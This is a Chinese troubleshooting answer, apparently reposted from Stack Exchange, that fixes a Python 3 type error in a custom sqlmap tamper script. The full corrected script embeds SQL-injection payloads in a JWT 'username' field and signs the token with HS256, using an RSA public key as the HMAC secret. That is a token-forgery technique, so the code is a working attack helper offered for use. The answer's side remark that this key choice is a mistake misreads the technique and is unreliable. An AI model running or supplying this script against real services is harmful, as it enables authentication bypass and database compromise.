自定义sqlmap tamper脚本报错:bytes-like object is required, not 'str'
问题分析与解决
首先看你遇到的TypeError: a bytes-like object is required, not 'str',这是Python3中字符串和字节串不兼容导致的,你的tamper脚本里有几个关键的地方没处理好字节/字符串的转换,而且JWT的编码逻辑也有小问题,我给你拆解一下:
错误原因
- HMAC签名的参数类型错误:
hmac.new()要求传入的密钥和待签名内容必须是字节串(bytes),但你直接传了字符串(str),这是触发错误的核心原因。 - Base64编码的返回值处理错误:Python3的
base64.b64encode()返回的是bytes对象,你直接和字符串拼接会触发类型错误,必须先解码成字符串。 - JWT标准编码未遵循:JWT要求用URL安全的Base64编码(即替换
+为-,/为_,并去掉末尾的=),你只处理了=,会导致生成的JWT可能无法被服务端解析。
修正后的Tamper脚本
#!/usr/bin/env python import hmac import hashlib import base64 import json import imp enums = imp.load_source("lib.core.enums", "/usr/share/sqlmap/lib/core/enums.py") __priority__ = enums.PRIORITY.NORMAL def base64url_encode(data): # 实现JWT标准的URL安全Base64编码 encoded = base64.b64encode(data) return encoded.decode('utf-8').replace('+', '-').replace('/', '_').rstrip('=') def tamper(payload, **kwargs): if not payload: return payload header = { "alg": "HS256", "typ": "JWT" } # 把sqlmap的payload放到username字段里 payload_dict = { "username": payload, "pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n", "iat": "1583764126" } # 注意:HS256应该用对称密钥,你这里用公钥不太合理,建议换成服务端用的对称密钥 key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n" # 1. 编码header和payload:先转JSON字符串,再转bytes,再做URL安全Base64编码 encoded_header = base64url_encode(json.dumps(header).encode('utf-8')) encoded_payload = base64url_encode(json.dumps(payload_dict).encode('utf-8')) # 2. 构造未签名的token,转成bytes用于签名 unsigned_token = f"{encoded_header}.{encoded_payload}".encode('utf-8') # 3. 生成HMAC签名:key转成bytes,传入unsigned_token(bytes) signature = hmac.new(key.encode('utf-8'), unsigned_token, hashlib.sha256).digest() # 4. 编码签名:用URL安全Base64 encoded_signature = base64url_encode(signature) # 5. 拼接最终的JWT token = f"{encoded_header}.{encoded_payload}.{encoded_signature}" return token
关键修改点说明
- 新增了
base64url_encode函数,严格遵循JWT的URL安全Base64编码规则,避免解析失败。 - 所有传入
base64.b64encode和hmac.new的数据都先转成bytes,处理完后再解码成str,解决类型不兼容问题。 - 生成签名时用
digest()而不是hexdigest(),因为JWT的签名是原始字节的Base64编码,而不是十六进制字符串(这也是你之前可能导致JWT无效的一个点)。 - 提前判断
payload为空的情况,避免空值处理错误。
额外提示
- 注意你用HS256算法却传入了公钥,HS256是对称加密算法,应该用对称密钥(和服务端一致的密钥),如果服务端用RS256(非对称),那你需要用私钥签名,而不是公钥,这可能导致服务端验证签名失败返回500错误。
- 测试时确保
--cookie="session=*"里的*位置正确,sqlmap会把payload替换到*的位置,你的tamper脚本会把这个payload封装到JWT的username字段里。
内容的提问来源于stack exchange,提问作者peachykeen
相关产品推荐
相关产品推荐

